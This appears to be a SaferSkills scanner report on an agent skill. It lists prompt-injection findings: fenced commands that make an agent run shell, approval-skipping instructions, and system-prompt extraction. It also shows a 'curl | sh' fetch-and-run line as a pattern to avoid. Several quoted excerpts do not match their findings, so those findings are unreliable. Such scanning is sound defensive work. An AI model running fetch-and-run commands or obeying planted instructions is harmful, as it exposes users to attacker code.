watsonx-data-fabric— agent skill

watsonx-data-fabric — independently scanned and version-tracked by SaferSkills.

by slysik·Agent Skill·github.com/slysik/ibm-bob-the-builder
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Is watsonx-data-fabric safe to install?

SaferSkills independently audited watsonx-data-fabric (Agent Skill) and scored it 83/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 2 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
83/100
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↑ +0 since first scan (83 → 83)Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 31d ago
Scans run1 over 90 days
Detectors55 checks · 5 categories
Findings2 warnings · 1 high
EngineSaferSkills 2b638c6
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CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
51
17.9 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 3 flagged

Securityscore 51 · 3 findings
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · skill/lessons-learned.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptskill/lessons-learned.md· markdown
117```bash
118IAM_TOKEN=$(curl -s -X POST https://iam.cloud.ibm.com/identity/token \
119-H 'Content-Type: application/x-www-form-urlencoded' \
120-d "grant_type=urn:ibm:params:oauth:grant-type:apikey&apikey=$IBM_API_KEY" \
121| jq -r .access_token)
122PAYLOAD=$(echo "$IAM_TOKEN" | cut -d. -f2)
123case $((${#PAYLOAD} % 4)) in 2) PAYLOAD="${PAYLOAD}==";; 3) PAYLOAD="${PAYLOAD}=";; esac
124echo "$PAYLOAD" | tr '_-' '/+' | base64 -d | jq '.account'
125# {
Occurrences
1 occurrence · at L117
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256ed3bfd682121d40e…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · skill/sales-enablement/cross-portfolio-story.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptskill/sales-enablement/cross-portfolio-story.md· markdown
245|---|---|
246| "We don't want to buy everything from one vendor." | "Fair. You don't have to. Start with
… (108 chars elided on L246)
247| "This sounds like a lot to evaluate." | "It is — and we don't ask you to evaluate it all a
… (108 chars elided on L247)
248| "What if we want to swap one piece later?" | "Iceberg files, OpenLineage events, and Kafka
… (107 chars elided on L248)
249| "We've heard IBM is slow." | "Look at the dates: watsonx.data intelligence launched May 20
… (108 chars elided on L249)
Occurrences
1 occurrence · at L247
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha256ce5204b52388d24f…rubric 365aacaView on GitHub
MEDIUMRequest for the agent to reveal its system promptSS-SKILL-INJECT-SYS-LEAK-01 · Prompt injection · skill/sales-enablement/cross-portfolio-story.md
MEDIUM — it scores the disclosure intent; whether extraction succeeds depends on the host model's own mitigations.
Why it matters

The text {match} asks the agent to disclose its hidden system prompt or initial instructions. That is often the first step of a larger attack: knowing the system prompt lets an attacker craft inputs that defeat its constraints by mimicking its own voice.

The exact value spotted
excerptskill/sales-enablement/cross-portfolio-story.md· markdown
136 
137**Minute 13–14: watsonx.ai** (the AI layer)
138- Open watsonx.ai. Show the prompt template that calls a Granite model
139with the customer's recent transactions + historical patterns from
140the Iceberg table + RAG from the Milvus support-ticket embeddings.
Occurrences
1 occurrence · at L138
How to fix
Remove the solicitation asking the agent to reveal its system prompt or hidden instructions.
  1. Delete the repeat/reveal/print your system prompt request from the skill.
  2. If you are debugging your own prompt, do so in a private dev harness rather than baking the request into a shipped skill.
Framework references
OWASPLLM07ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-SYS-LEAK-01sha25608abe57283ce0d83…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
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